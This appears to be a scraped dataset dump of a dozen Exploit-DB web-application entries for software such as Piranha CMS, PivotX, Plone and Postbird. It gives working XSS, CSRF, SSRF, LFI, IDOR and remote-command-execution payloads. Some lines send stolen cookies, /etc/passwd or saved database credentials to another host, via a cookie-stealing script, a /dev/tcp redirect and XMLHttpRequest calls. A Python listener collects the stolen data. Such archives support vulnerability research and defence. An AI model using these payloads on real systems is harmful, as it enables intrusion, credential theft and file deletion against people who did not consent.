deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52471
Description: Piranha CMS 12.0 - Stored XSS in Text Block
Type: webapps
Platform: multiple
Date: 2026-02-02
Author: terminalvenoms

Exploit:
# Exploit Title: Piranha CMS 12.0 - Stored Cross Site Scripting 
# Date: 2025-09-26
# Exploit Author: Chidubem Chukwu (Terminal Venom)
# LinkedIn : https://www.linkedin.com/in/chidubem-chukwu-20bb202a9?
# Vendor Homepage: https://piranhacms.org
# Software Link: https://github.com/PiranhaCMS/piranha.core/releases/tag/v12.0
# Version: 12.0
# Category: Web Application
# Tested on: Ubuntu 22.04, Piranha CMS v12.0 (local), Chrome 
# CVE: CVE-2025-57692
# Privilege Level: authenticated user
# Patched Version: Not available
# Exploit link: https://github.com/Saconyfx/security-advisories/blob/main/CVE-2025-57692/advisory.md




## Reproduction Steps ##

PiranhaCMS 12.0 allows stored XSS in the Text content block of Standard and Standard Archive Pages via /manager/pages, enabling execution of arbitrary JavaScript in another user s browser.

Reproduction steps 

	1.	Log in to the Piranha admin panel at https://<host>/manager/login.

	2.	Navigate to Pages.

	3.	Click Add Page and choose Standard Page or Standard Archive.

	4.	Enter a page title (e.g., XSS-Test).

	5.	Click the [ + ] button and select Text under Content to add a Text block.

	6.	In the Text block input area, paste one of the payloads below (paste directly into the editor and save). The payload will execute immediately when pasted/saved and will also execute for anyone who later accesses or previews the page.

Payload A 

<img src="x" onerror="
  alert(
    'Cookies: ' + document.cookie + '\n' +
    'LocalStorage: ' + JSON.stringify(localStorage) + '\n' +
    'SessionStorage: ' + JSON.stringify(sessionStorage) + '\n' +
    'URL: ' + window.location.href + '\n' +
    'User Agent: ' + navigator.userAgent + '\n' +
    'Time: ' + new Date().toLocaleString()
  )
" />

Payload B — iframe base64 

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

Payload C — details toggle (on-toggle alert)

<details open ontoggle=alert('XSS')>Click</details>

	7.	Click Save. The payload executes immediately upon save (and will execute again when the page is previewed or accessed by others).

	8.	Anyone who accesses the page (or pastes the payload) will trigger the XSS.
Exploit-DB #52361
Description: PivotX 3.0.0 RC3 - Remote Code Execution (RCE)
Type: webapps
Platform: multiple
Date: 2025-07-16
Author: HayToN

Exploit:
# Exploit Title: PivotX v3.0.0 RC3 - Stored XSS to Remote Code Execution (RCE)
# Date: July 2025
# Exploit Author: HayToN
# Vendor Homepage: https://github.com/pivotx
# Software Link: https://github.com/pivotx/PivotX
# Version: 3.0.0 RC3
# Tested on: Debian 11, PHP 7.4
# CVE : CVE-2025-52367

## Vulnerability Type:
Stored Cross-Site Scripting (XSS) in the "title" and "subtitle" fields of page creation. The input is not sanitized and is stored directly to disk via PHP serialize().

## Root Cause:
In 'modules/pages_flat.php', function 'savePage($page)' stores page data via 'saveSerialize()' without any sanitization. The stored values are later rendered in the admin panel without escaping.

Only the 'body' and 'introduction' fields are passed through TinyMCE (which encodes HTML). 'title' and 'subtitle' are rendered as raw HTML.

Note: If you are already admin, skip steps 1-7
## Exploitation Steps:
1. Login as an authenticated user (normal user, no need for admin).

2. Create a new Page via the dashboard, located at http://IP/PivotX/pivotx/index.php?page=page

3. Create locally a JavaScript file contaning cookie stealing code.
For example: lol.js
Containing:
document.location = 'http://LOCAL_IP/bruh?c=' + document.cookie;

4. In the "Subtitle" field, input the following payload(Be sure to change the file name as yours):

<script src="http://LOCAL_IP/lol.js"></script>

5. Publish the page.

6. When an admin views the published page in the blog, the XSS will execute in the admin’s context.

7. Using this XSS, send a payload to steal the admin's cookies, then insert the cookies on your site.

8. Navigate as admin, to http://IP/PivotX/pivotx/index.php?page=homeexplore, where you can edit index.php file

9. Edit index.php file to any php file you want to gain RCE on the target, could be with reverse shell or any other method.

10. Visit http://IP/PivotX/index.php and you should get a reverse shell :)

# Full research - https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3
Exploit-DB #49519
Description: Pixelimity 1.0 - 'password' Cross-Site Request Forgery
Type: webapps
Platform: multiple
Date: 2021-02-03
Author: Noth

Exploit:
# Exploit Title: Pixelimity 1.0 - 'password' Cross-Site Request Forgery
# Date: 2020-06-03
# Exploit Author: Noth
# Vendor Homepage: https://github.com/pixelimity/pixelimity
# Software Link: https://github.com/pixelimity/pixelimity
# Version: v1.0
# CVE : 2020-23522

Pixelimity 1.0 has cross-site request forgery via the admin/setting.php data [Password] parameter.

PoC :

<html>
<body>
<script>history.pushState(",",'/')</script>
<form action=“http://127.0.0.1/pixelimity-dev/admin/setting.php
” method=“POST”>
<input type=“hidden” name=“submit&#95;setting” value=“Save&#32;Setting”/>
<input type=“hidden” name=“data&#91;admin&#95;portfolio&#95;show&#93;”
value=“5”/>
<input type=“hidden” name=“data&#91;admin&#95;pages&#95;show&#93;”
value=“5”/>
<input type=“hidden” name=“admin&#91;data&#95;password&#93;”
value=“456789”/>
<input type=“hidden” name=“data&#91;site#95;name&#93;"
value=“Pixelimity”/>
<input type=“hidden” name=“data&#91;site&#95;name&#93;show&#93;”
value=“My&#32;Online&#32;Portfolio”/>
<input type=“hidden” name=“data&#91;home&#95;image&#95;size&#93” value=“5”/>
<input type=“hidden” name=“ data&#91;single&#95;image&#95;image&#95;size#93
” value=“ 240&44;0&#44;0&44;auto ”/>
<input type=“hidden” name=“data&#91;single&#95;image&#95;image&#95;size#93”
value=“720&44;0&#44;0&44;auto”/>
<input type=“submit” value=“Submit request”/>
</form>
</body>
</html>
Exploit-DB #52211
Description: Plane 0.23.1 - Server side request forgery (SSRF)
Type: webapps
Platform: multiple
Date: 2025-04-15
Author: Saud Alenazi

Exploit:
# Exploit Title: Plane - Server side request forgery (SSRF)
# Date: 2024-01-13
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://plane.so
# Software Link: https://github.com/makeplane/plane/releases/tag/v0.23.1
# Version: v0.23.1
# Tested: Windows 10 x64

Description:

A Server-Side Request Forgery (SSRF) vulnerability has been identified in the Plane application's password recovery functionality. The issue allows attackers to manipulate the email input field and inject a payload to make the server send HTTP requests to attacker-controlled domains.

Steps to Reproduce:

1- Go to the password recovery or login section where the email input is required.

2- Inject the following payload in the email field, replacing the domain with a server you control:

{"email":"user@lvkrx2ib577fgpfxvq0f9ek0oruiiagy5.oastify.com"}

Send the request:

POST /auth/magic-generate/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 62

{"email":"user@lvkrx2ib577fgpfxvq0f9ek0oruiiagy5.oastify.com"}

3- Monitor your controlled server to observe the incoming HTTP request from the vulnerable system.
Exploit-DB #50426
Description: Plastic SCM 10.0.16.5622 - WebAdmin Server Access
Type: webapps
Platform: multiple
Date: 2021-10-18
Author: Basavaraj Banakar

Exploit:
# Exploit Title: Plastic SCM 10.0.16.5622 - WebAdmin Server Access
# Shodan Dork: title:"Plastic SCM"
# Date: 18.10.2021
# Exploit Author: Basavaraj Banakar
# Vendor Homepage: https://www.plasticscm.com/
# Software Link: https://www.plasticscm.com/download/releasenotes/10.0.16.5622
# Version: Plastic SCM < 10.0.16.5622
# Tested on: Chrome,Firefox,Edge
# CVE : CVE-2021-41382

# Reference: https://infosecwriteups.com/story-of-google-hall-of-fame-and-private-program-bounty-worth-53559a95c468

# Exploit:

1. Navigate to target.com/account [This holds administrator login console]

2. Change URL to target.com/account/register [Here able to set new password for the adminstrator user]

3. Now after changing password of administrator and login to console and Navigate to target.com/configuration/authentication and set an new password for any of the users

4. Now navigate to target.com/webui/repos and login with the recently changed password for user i.e is in step 3
Exploit-DB #34136
Description: Plesk Server Administrator (PSA) - 'locale' Local File Inclusion
Type: webapps
Platform: multiple
Date: 2010-06-21
Author: Pouya Daneshmand

Exploit:
source: https://www.securityfocus.com/bid/40813/info

Plesk Server Administrator (PSA) is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

https://www.example.com/servlet/Help?system_id=pem&book_type=login&help_id=change_password&locale=/../../../../../../etc/passwd%00
Exploit-DB #18262
Description: Plone and Zope - Remote Command Execution
Type: webapps
Platform: multiple
Date: 2011-12-21
Author: Nick Miles

Exploit:
# Exploit Title: Plone - Remote Command Execution
# Date: 12/21/2011
# Author: Nick Miles (www.npenetrable.com)
# Tested on: 12/21/2011
# CVE : CVE-2011-3587

Versions Affected (without hotfix): Plone 4.0 (through 4.0.9); Plone
4.1; Plone 4.2 (a1 and a2); Zope 2.12.x and Zope 2.13.x.
Versions Not Affected: Versions of Plone that use Zope other than Zope
2.12.x and Zope 2.13.x.

Advisory/Hotfix: http://plone.org/products/plone/security/advisories/20110928

You can execute any command on the remote Plone server with the
following request
if the server is Unix/Linux based (Note: you won't get returned the
results of the command):

http://PLONE_SITE/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=<command
to run>

Example:

Listen for a connection:
$ nc -l 4040

On victim, visit:
http://victim/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=cat%20/etc/passwd%20%20%3E%20/dev/tcp/172.20.6.218/4040

Response:
$ nc -l 4040
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:499:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
plone:x:500:500::/home/plone:/bin/false
Exploit-DB #49668
Description: Plone CMS 5.2.3 - 'Title' Stored XSS
Type: webapps
Platform: multiple
Date: 2021-03-19
Author: Piyush Patil

Exploit:
# Exploit Title: Plone CMS 5.2.3 - 'Title' Stored XSS
# Date: 18-03-2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://plone.com/
# Software Link: https://github.com/plone/Products.CMFPlone/tags
# Version: 5.2.3
# Tested on: Windows 10


# Reference - https://github.com/plone/Products.CMFPlone/issues/3255

Steps to reproduce the issue:
1- Goto https://localhost/ where Plone 5.2.3 version is installed.
2- Click on "Log in now" and Login as "Manager"
3- Navigate to Manager=>Site Setup=>Site
4- Edit "Site title" field to "xyz<ScRiPt>alert(1)</ScRiPt>"
Exploit-DB #49910
Description: Postbird 0.8.4 - Javascript Injection
Type: webapps
Platform: multiple
Date: 2021-05-27
Author: Debshubra Chakraborty

Exploit:
# Exploit Title: Postbird 0.8.4 - Javascript Injection
# Date: [26 May 2021]
# Exploit Author: Debshubra Chakraborty
# Vendor Homepage: https://github.com/paxa/postbird
# Software Link: https://www.electronjs.org/apps/postbird
# Version: 0.8.4 
# Tested on: Linux
# CVE : CVE-2021-33570

"""
XSS Payload
<img src="" onerror="var xhttp = new XMLHttpRequest();xhttp.open('GET', 'http://127.0.0.1 :5555/?xss='+JSON.stringify(navigator.appVersion), true);xhttp.send();">

LFI Payload
<img src="" onerror="var xhttp = new XMLHttpRequest();xhttp.open('GET', 'file:///etc/passwd', false);xhttp.send();var res = xhttp.response;xhttp.open('GET', 'http://127.0.0.1 :5555/?file='+JSON.stringify(res), true);xhttp.send();">

PostgreSQL Password Stealing Payload
<img src="" onerror="var xhttp = new XMLHttpRequest();xhttp.open('GET', 'http://127.0.0.1 :5555/?credentials='+window.localStorage.savedConnections, true);xhttp.send();">

"""

from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
import re

hostName = '0.0.0.0'
serverPort = 5555

class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        parse(urllib.parse.unquote(self.requestline))

    def log_message(self, format, *args):
        return   


def parse(data):
    expression = re.search('\S+=', data)
    attr = expression.group()

    if attr[2:len(attr)-1] == 'file':
        data = data[12:len(data)-11]    
        data = data.rsplit('\\n')
        print(f'\n[+] File received from LFI: \n\n')
        for output in data:
            print(output)

    elif attr[2:len(attr)-1] == 'xss':
        data = data[11:len(data)-10]
        print(f'\n[+] Data exfiltration from Stored XSS: \n\n{data}')
    
    elif attr[2:len(attr)-1] == 'credentials':
        pos = re.search('{"\S+:', data)
        data = data[pos.start():len(data)-11]
        for i in range(2, len(data), 1):
            if data[i] == '"':
                pos = i
                break

        host = data[2:pos]
        data = data[14:]
        data = data.rsplit(',')
        print(f'\n\n[+] The Database credentials received\n\nHost = {host}')
        for output in data:
            print(output)
    
    else:
        print(f'\n\n[-] Unknown header attribute found, atribute = {attr[2:len(attr)-1]}')


def main():        
    global hostName, serverPort
    webServer = HTTPServer((hostName, serverPort), MyServer)
    print("Server started http://%s:%s" % (hostName, serverPort))

    try:
        webServer.serve_forever()
    
    except KeyboardInterrupt:
        pass

    webServer.server_close()
    print("\nServer stopped.")


if __name__ == "__main__":
    main()
Exploit-DB #45969
Description: PrinterOn Enterprise 4.1.4 - Arbitrary File Deletion
Type: webapps
Platform: multiple
Date: 2018-12-11
Author: bzyo

Exploit:
# Exploit Author: bzyo
# CVE: CVE-2018-19936
# Twitter: @bzyo_
# Exploit Title: PrinterOn Enterprise 4.1.4 - Arbitrary File Deletion
# Date: 12-07-18
# Vulnerable Software: PrinterOn Enterprise 4.1.4 
# Vendor Homepage: https://www.printeron.com/
# Version: 4.1.4


Tested On
---------------------------------------------------------------------
PrinterOn Enterprise 4.1.4 
Windows 2012 R2 Datacenter 
Software running under User Account: PONservice (part of local administrators group) 
 
Software Notes
--------------------------------------------------------------------- 
Per the PrinterOn Enterprise 4.1.4 Installation Guide on Page 10, a local administrator account is required to run the software.

On a default installation, the Post Print Option is to “Delete From Store”.  Meaning, if you upload a file to print, this file is deleted immediately after it is printed.    

When printing as a Guest or Authenticated user, you have the choice of either uploading a file to be printed or entering a Web Page.  The file type you upload or supply via URI needs to be supported by the application in order for it to process and print.  Per page 11 of the installation guide, under Recommended Software, it’s advised to install an application such as Microsoft Word to print .docx documents.  There is also some additional configuration needed to be able to print specific file types otherwise you receive an error such as “This type of file cannot be processed by your service”. 
 
Vulnerability
---------------------------------------------------------------------
When either printing as a Guest (when enabled) or as an Authenticated user via the CPS URL https://<hostname or ip>/cps, the user printing has the ability to delete any file on the host system that isn’t currently in use by the system itself.  The field to enter a web page does not properly check the URI being entered, as such the user can enter a system file path and delete a file on the system.

Exploit 
---------------------------------------------------------------------
Login as either Guest or an Authenticated user to print
	https://<hostname or ip>/cps
Choose any printer
Entering a system path to a file in the web page field
 	Examples:
		C:\Users\Administrator\Desktop\DoNotDelete.txt 
		C:\Program Files (x86)\PrinterOn Corporation\Apache Tomcat\Conf\web.xml
Send the print job, an error will show
Check system, file is deleted

Impact
---------------------------------------------------------------------
By deleting specific files the application, and possibly the host system, can become unusable.

Timeline
---------------------------------------------------------------------
10-22-18: Vendor notified of vulnerability
10-22-18: Initial response from vendor
10-23-18: PoC submitted
10-25-18: Vendor to pass along to Product team
11-??-18: New version released
12-03-18: Tested and Confirmed with vendor vulnerability fixed in update
12-07-18: Submitted public disclosure
Exploit-DB #44276
Description: Prisma Industriale Checkweigher PrismaWEB 1.21 - Hard-Coded Credentials
Type: webapps
Platform: multiple
Date: 2018-03-12
Author: LiquidWorm

Exploit:
Prisma Industriale Checkweigher PrismaWEB 1.21 Authentication Bypass


Vendor: Prisma Industriale S.r.l.
Product web page: https://www.prismaindustriale.com
Affected version: 1.0 (Rev 21, EPROM 202FWSAM ??)

Summary: Web Administration of Machine.

Desc: The vulnerability exists due to the disclosure of hard-coded credentials allowing
an attacker to effectively bypass authentication of PrismaWEB with administrator
privileges. The credentials can be disclosed by simply navigating to the login_par.js
JavaScript page that holds the username and password for the management interface that
are being used via the Login() function in /scripts/functions_cookie.js script.

Tested on: HMS AnyBus-S WebServer


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5453
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5453.php

06.02.2018

---


$ curl http://10.10.10.70/user/scripts/login_par.js
// JavaScript Document
// 11 Dicembre 2009 Release 1.0 Rev.10

var txtChkUser				= "prismaweb";	// Nome utente Login
var txtChk[CREDENTIAL_REDACTED]";		// Password Login
Exploit-DB #50229
Description: ProcessMaker 3.5.4 - Local File inclusion
Type: webapps
Platform: multiple
Date: 2021-08-26
Author: Ai Ho

Exploit:
# Exploit Title: ProcessMaker 3.5.4 - Local File inclusion
# Exploit Author: Ai Ho (@j3ssiejjj)
# Date: 16-04-2021
# Vendor Homepage: https://www.processmaker.com/
# Version: ProcessMaker <= 3.5.4
# References: https://github.com/jaeles-project/jaeles-signatures/blob/master/common/process-maker-lfi.yaml

# PoC:

## With curl

curl -k --path-as-is 'http://targetIP/../../../..//etc/passwd'

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

--[snippets]--

## With Jaeles Scanner

jaeles scan -s  ~/jaeles-signatures/common/process-maker-lfi.yaml -u http://targetIP
Exploit-DB #52236
Description: ProConf 6.0 -  Insecure Direct Object Reference (IDOR)
Type: webapps
Platform: multiple
Date: 2025-04-16
Author: ub3rsick

Exploit:
# Exploit Title: ProConf 6.0 -  Insecure Direct Object Reference (IDOR)
# Date: 19/07/2018
# Exploit Author: S. M. Zia Ur Rashid, SC
# Author Contact: https://www.linkedin.com/in/ziaurrashid/
# Vendor Homepage: http://proconf.org & http://myproconf.org
# Version:  <= 6.0
# Tested on: Windows
# CVE : CVE-2018-16606
# Patched Version: 6.1

# Description:
In ProConf before 6.1, an Insecure Direct Object Reference (IDOR) allows
any author to view and grab all submitted papers (Title and Abstract) and
their authors' personal information (Name, Email, Organization, and
Position) by changing the value of Paper ID (the pid parameter).

# PROOF-OF-CONCEPT
Step 1: Sign In as an author for a conference & submit a paper. Youall get
a paper ID.
Step 2: Now go to paper details and change the value of Paper ID (param
pid=xxxx) to nearest previous value to view others submitted paper &
authors information.
http:// <http:>
[host]/conferences/[conference-name]/author/show_paper_details.php?pid=xxxx